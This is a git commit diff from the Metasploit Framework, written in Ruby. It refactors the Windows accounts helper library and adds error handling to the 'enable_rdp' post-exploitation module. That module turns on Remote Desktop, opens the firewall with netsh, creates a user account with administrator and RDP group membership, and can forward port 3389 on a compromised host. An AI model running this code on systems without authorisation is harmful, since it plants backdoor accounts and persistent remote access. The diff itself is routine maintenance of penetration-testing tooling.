Land #8873, cleanup enable_rdp, add error handling

bug/bundler_fix
Brent Cook 2017-08-28 05:50:42 -05:00
commit 1e8edb377f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 368 additions and 350 deletions

View File

@ -5,7 +5,6 @@ require 'msf/core/post/windows/error'
module Msf
class Post
module Windows
module Accounts
include Msf::Post::Windows::Error
@ -14,7 +13,7 @@ module Accounts
['Data2', :WORD],
['Data3', :WORD],
['Data4', 'BYTE[8]']
]
].freeze
DOMAIN_CONTROLLER_INFO = [
['DomainControllerName', :LPSTR],
@ -26,7 +25,7 @@ module Accounts
['Flags', :ULONG],
['DcSiteName', :LPSTR],
['ClientSiteName', :LPSTR]
]
].freeze
##
# get_domain(server_name = nil)
@ -51,7 +50,8 @@ module Accounts
nil,
nil,
0,
4)
4
)
begin
dc_info_addr = result['DomainControllerInfo']
@ -85,10 +85,10 @@ module Accounts
# :user_not_found - User specified does not exist on the given server
# :access_denied - You do not have permission to delete the given user
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# nil is returned if there is an *exceptional* windows error. That error is printed.
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# Everything other than ':success' signifies failure
##
def delete_user(username, server_name = nil)
@ -117,10 +117,9 @@ module Accounts
end
# If we got here, then something above failed
return nil
nil
end
##
# resolve_sid(sid, system_name = nil)
#
@ -133,23 +132,23 @@ module Accounts
#
# Returns:
# {
# :name => account name (e.g. "SYSTEM")
# :domain => domain where the account name was found. May have values such as
# name: account name (e.g. "SYSTEM")
# domain: domain where the account name was found. May have values such as
# the work station's name, BUILTIN, NT AUTHORITY, or an empty string
# :type => one of :user, :group, :domain, :alias, :well_known_group,
# type: one of :user, :group, :domain, :alias, :well_known_group,
# :deleted_account, :invalid, :unknown, :computer
# :mapped => There was a mapping found for the SID
# mapped: There was a mapping found for the SID
# }
#
# OR nil if there was an exceptional windows error (example: ran out of memory)
# OR nil if there was an exceptional Windows error (example: ran out of memory)
#
# Caveats:
# If a valid mapping is not found, only { :mapped => false } will be returned
# nil is returned if there is an *exceptional* windows error. That error is printed.
# If an invalid system_name is provided, there will be a windows error and nil returned
# If a valid mapping is not found, only { mapped: false } will be returned
# nil is returned if there is an *exceptional* Windows error. That error is printed.
# If an invalid system_name is provided, there will be a Windows error and nil returned
##
def resolve_sid(sid, system_name = nil)
adv = client.railgun.advapi32;
adv = client.railgun.advapi32
# Second param is the size of the buffer where the pointer will be written
# In railgun, if you specify 4 bytes for a PDWORD it will grow to 8, as needed.
@ -162,9 +161,12 @@ module Accounts
case error
when client.railgun.const('ERROR_INVALID_SID')
# An invalid SID was supplied
return { :type => :invalid, :mapped => false }
return { type: :invalid, mapped: false }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { mapped: false }
else
print_error "Unexpected windows error #{error}"
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
@ -178,27 +180,32 @@ module Accounts
# http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx
lp_name = lp_referenced_domain_name = 100
cch_name = cch_referenced_domain_name = 100
lookup = adv.LookupAccountSidA(system_name,
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
1
)
if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER
lp_name = cch_name = lookup['cchName']
lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName']
lookup = adv.LookupAccountSidA(system_name,
lookup = adv.LookupAccountSidA(
system_name,
psid,
lp_name,
cch_name,
lp_referenced_domain_name,
cch_referenced_domain_name,
1)
1
)
elsif !lookup['return']
print_error "Unexpected windows error #{lookup['GetLastError']}"
print_error "Unexpected Windows error #{lookup['GetLastError']}"
return nil
end
ensure
@ -213,12 +220,12 @@ module Accounts
case error
when client.railgun.const('ERROR_INVALID_PARAMETER')
# Unless the railgun call is broken, this means revision is wrong
return { :type => :invalid }
return { type: :invalid }
when client.railgun.const('ERROR_NONE_MAPPED')
# There were no accounts associated with this SID
return { :mapped => false }
return { mapped: false }
else
print_error "Unexpected windows error #{error}"
print_error "Unexpected Windows error #{error} resolving SID #{sid}"
return nil
end
end
@ -227,10 +234,10 @@ module Accounts
sid_type = lookup_SID_NAME_USE(lookup['peUse'].unpack('C')[0])
return {
:name => lookup['Name'],
:domain => lookup['ReferencedDomainName'],
:type => sid_type,
:mapped => true
name: lookup['Name'],
domain: lookup['ReferencedDomainName'],
type: sid_type,
mapped: true
}
end
@ -305,11 +312,11 @@ module Accounts
# get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
if f['return'] && f["lpnLengthNeeded"] <= buffer_size
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
elsif f['GetLastError'] == 122 # ERROR_INSUFFICIENT_BUFFER
sd = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif f['GetLastError'] == 2
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
@ -322,16 +329,15 @@ module Accounts
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
return nil if !r["return"]
result << "R" if r["GrantedAccess"] > 0
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
return nil if !w["return"]
result << "W" if w["GrantedAccess"] > 0
result
end
end # Accounts
end # Windows
end # Post

View File

@ -11,7 +11,9 @@ class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info = {})
super( update_info( info,
super(
update_info(
info,
'Name' => 'Windows Manage Enable Remote Desktop',
'Description' => %q{
This module enables the Remote Desktop Service (RDP). It provides the options to create
@ -21,7 +23,8 @@ class MetasploitModule < Msf::Post
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
)
)
register_options(
[
@ -30,13 +33,20 @@ class MetasploitModule < Msf::Post
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
])
]
)
end
def run
if datastore['ENABLE'] or (datastore['USERNAME'] and datastore['PASSWORD'])
cleanup_rc = store_loot("host.windows.cleanup.enable_rdp", "text/plain", session,"" ,
"enable_rdp_cleanup.rc", "enable_rdp cleanup resource file")
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
cleanup_rc = store_loot(
"host.windows.cleanup.enable_rdp",
"text/plain",
session,
"",
"enable_rdp_cleanup.rc",
"enable_rdp cleanup resource file"
)
if datastore['ENABLE']
if is_admin?
@ -46,7 +56,7 @@ class MetasploitModule < Msf::Post
print_error("Insufficient privileges, Remote Desktop Service was not modified")
end
end
if datastore['USERNAME'] and datastore['PASSWORD']
if datastore['USERNAME'] && datastore['PASSWORD']
if is_admin?
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
else
@ -74,12 +84,11 @@ class MetasploitModule < Msf::Post
else
print_status "\tRDP is already enabled"
end
rescue::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def enabletssrv(cleanup_rc)
service_name = "termservice"
srv_info = service_info(service_name)
@ -87,11 +96,11 @@ class MetasploitModule < Msf::Post
print_status "Setting Terminal Services service startup mode"
if srv_info[:starttype] != START_TYPE_AUTO
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
unless (service_change_config(service_name, {:starttype => "START_TYPE_AUTO"}) == Windows::Error::SUCCESS)
unless service_change_config(service_name, starttype: "START_TYPE_AUTO") == Windows::Error::SUCCESS
print_error("\tUnable to change start type to Auto")
end
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
if (service_start(service_name) == Windows::Error::SUCCESS)
if service_start(service_name) == Windows::Error::SUCCESS
print_good("\tRDP Service Started")
end
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c sc stop termservice\"")
@ -102,17 +111,12 @@ class MetasploitModule < Msf::Post
print_status "\tOpening port in local firewall if necessary"
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
rescue::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def addrdpusr(username, password, cleanup_rc)
rdu = resolve_sid("S-1-5-32-555")[:name]
admin = resolve_sid("S-1-5-32-544")[:name]
print_status "Setting user account for logon"
print_status "\tAdding User: #{username} with Password: #{password}"
begin
@ -121,6 +125,19 @@ class MetasploitModule < Msf::Post
return
end
rdu_sid = resolve_sid("S-1-5-32-555")
admin_sid = resolve_sid("S-1-5-32-544")
if !rdu_sid[:mapped] || !admin_sid[:mapped]
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
print_error("\tNot adding user #{username}")
return
end
rdu = rdu_sid[:name]
admin = admin_sid[:name]
user_added = false
addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add")
@ -149,17 +166,12 @@ class MetasploitModule < Msf::Post
print_error("\t#{l.chomp}")
end
end
rescue ::Exception => e
rescue StandardError => e
print_status("The following Error was encountered: #{e.class} #{e}")
end
end
def check_user(user)
output = cmd_exec('cmd.exe', '/c net user')
if output.include?(user)
return true
end
false
cmd_exec('cmd.exe', '/c net user').include?(user)
end
end